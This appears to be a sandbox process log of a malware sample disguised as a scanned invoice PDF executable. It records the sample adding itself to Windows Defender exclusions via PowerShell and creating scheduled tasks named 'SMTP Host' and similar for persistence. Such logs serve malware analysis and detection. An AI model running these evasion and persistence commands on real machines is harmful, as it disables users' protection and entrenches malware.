DOC INVOICE EXPORTO52052 IMG0023987066 SCANNED DOC_PDF.exe "C:\Users\test22\AppData\Local\Temp\DOC INVOICE EXPORTO52052 IMG0023987066 SCANNED DOC_PDF.exe"
2512powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\DOC INVOICE EXPORTO52052 IMG0023987066 SCANNED DOC_PDF.exe"
2216schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wbwfWn" /XML "C:\Users\test22\AppData\Local\Temp\tmp8C2D.tmp"
2860DOC INVOICE EXPORTO52052 IMG0023987066 SCANNED DOC_PDF.exe "C:\Users\test22\AppData\Local\Temp\DOC INVOICE EXPORTO52052 IMG0023987066 SCANNED DOC_PDF.exe"
2504schtasks.exe "schtasks.exe" /create /f /tn "SMTP Host" /xml "C:\Users\test22\AppData\Local\Temp\tmp8E70.tmp"
1800schtasks.exe "schtasks.exe" /create /f /tn "SMTP Host Task" /xml "C:\Users\test22\AppData\Local\Temp\tmp8F6B.tmp"
2172